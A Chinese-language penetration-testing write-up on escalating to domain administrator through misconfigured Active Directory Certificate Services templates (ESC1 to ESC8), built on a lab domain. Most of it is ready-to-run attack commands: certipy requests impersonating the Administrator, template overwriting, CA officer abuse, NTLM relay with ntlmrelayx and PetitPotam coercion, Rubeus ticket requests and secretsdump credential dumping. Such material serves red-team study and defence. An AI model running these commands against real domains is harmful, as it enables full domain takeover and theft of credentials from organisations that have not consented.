[email protected]深蓝实验室天雄战队
2021年BlackHat发布了《Certified_Pre-Owned》白皮书,详细介绍了ADCS的滥用手法,同时在对大型企业的实战攻防中,ADCS在企业域中被广泛部署。本文针对ADCS的不安全模板配置,结合实战场景总结出在不同的错误模板下导致域权限提升的攻击手法。
攻击机:10.128.20.123
ADCS服务器:10.211.55.20
域控:10.211.55.18
所有测试均可在域外进行攻击利用
所需配置:
证书模板控制台certtmpl.msc,复制工作站身份认证模板
修改模板名
扩展中-应用程序策略-加入客户端身份认证(对应配置条件二)
安全中加入Domain Users具有注册权限(对应配置条件一)
使用者名称中,选择在请求中提供(对应配置条件三)
最后在certsrv.msc证书模板中发布ESC1证书
漏洞发现
#ceripy查看所有模板 certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug -vulnerable 查看该成员身份的易受攻击的证书模板
证书模板一共36个,颁发了14个
查看保存结果,hack用户满足易受攻击的ESC1模板条件。
注意Certificate Name Flag和EKU标识为ESC1模板特征。
漏洞利用
针对ESC1请求证书
#分别使用-upn和-dns参数指定任意的UPN或DNS certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn [email protected] -dns 2019-AD.lhc.local
身份验证,auth命令将询问您使用哪个身份进行身份验证
certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18
UPN-administrator身份
DNS-2019-AD\$身份
所需配置:
漏洞发现
满足ESC2的易受攻击模板同样满足ESC3条件,后续利用可以采用ESC3模板攻击手法
注意Any Purpose为Ture为ESC2模板特征
漏洞利用
#以ESC2为模板申请证书 certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2 #使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx #身份认证 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
配置1:
配置2:
漏洞发现
注意EKU参数为Certificate Request Agent为ESC3特征
漏洞利用
同ESC2
#以ESC3为模板申请证书 certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3 #使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx #身份认证 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
配置二需要使用certify.exe
#查看所有已办法证书 Certify.exe find /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" > 1.txt #当前域用户申请以ESC3_2为模板的证书,格式为pem,需要转化为pfx Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx #以当前域用户证书申请域管证书 Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2 /onbehalfof:lhc\administrator /enrollcert:cert.pfx #Rubeus.exe Rubeus.exe asktgt /user:lhc\administrator /certificate:cert.pfx #票据转化 转化Rubeus的base64(kirbi)为ccache,导入票据再利用
ESC4是指用户对证书模板具有写入权限。可以滥用来覆盖证书模板的配置,以使该模板容易受到ESC1的攻击。
Authenticated Users-ESC4
Authenticated Users组中包含Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest,即使来宾帐户有密码。 与Everyone的区别在于Everyone包括所有账户,如内置的来宾账户和LOCAL_SERVICE
配置1:
工作站身份认证模板
可以看到Authenticated Users拥有写入权限
Authenticated Users-ESC4_1
域用户拥有写入权限
可以看到Domain Users拥有写入权限
利用
#保留旧ESC4模板配置并修改ESC4模板 certipy template -u [email protected] -p 123@Qwe -template ESC4_1 -save-old #利用新ESC4证书模板申请证书 certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn [email protected] #身份验证 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18 #模板复原 certipy template -u [email protected] -p 123@Qwe -template ESC4 -configuration ESC4.json
更新后的ESC4新模板
ESC4
ESC4_1
配置:
EDITF_ATTRIBUTESUBJECTALTNAME2 的滥用来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份
满足条件:
配置条件:
当用户或者所属组拥有管理CA权限
域普通用户所属组一般包括Domain Users、Authenticated Users
Authenticated Users
Domain Users
ESC7漏洞发现
发现hack用户具有管理CA权限
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack
2.查看颁发证书
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -list-templates
如果SubCA模板没有启动,可以用以下命令:
certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u [email protected] -p 123@Qwe -target 10.211.55.20
3.请求基于SubCA模板的证书,此请求将被拒绝,但我们将保存私钥并记下请求ID,主要是记录ID
4.通过管理CA和管理证书,我们可以使用ca命令和-Issue-Request发出失败的证书请求。
certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request 86
成功颁发证书
5.使用REQ命令和-Retrive检索已颁发的证书并认证
#检索已颁发的证书 certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve 86 #身份认证 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
http://10.211.55.20/certsrv/certfnsh.asp
攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书
命令行显示
python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
结合场景,这里还可以使用printerbug、SpoolSample、DFSCoerce等进行强制认证
#PetitPotam(不需要账号密码) python PetitPotam.py -u '' -d '' -p '' 10.128.20.123(攻击机中转,回连地址) 10.211.55.18(目标机器)
[*] Base64 certificate of user 2019-AD$
#Rubeus.exe Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt #gettgtpkinit.py python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 MIIR...(获取的证书) kirbi.ccache #导入票据 export KRB5CCNAME=kirbi.ccache
python3 secretsdump.py -k -no-pass 2019-AD.lhc.local
考虑实战环境,在没有Linux机器以及Python环境下的利用,存在一台Windows机器与域控、ADCS服务器网络连通即可
将Python环境打包,参考:https://www.jianshu.com/p/e2402fb35553
#转发445,需要管理员权限
divertTCPConn.exe 445 4455 debug
#监听
python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController
https://tttang.com/archive/1593/
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://github.com/ly4k/Certipy
https://github.com/Arno0x/DivertTCPconn
https://blog.csdn.net/qq_36119192/article/details/119457576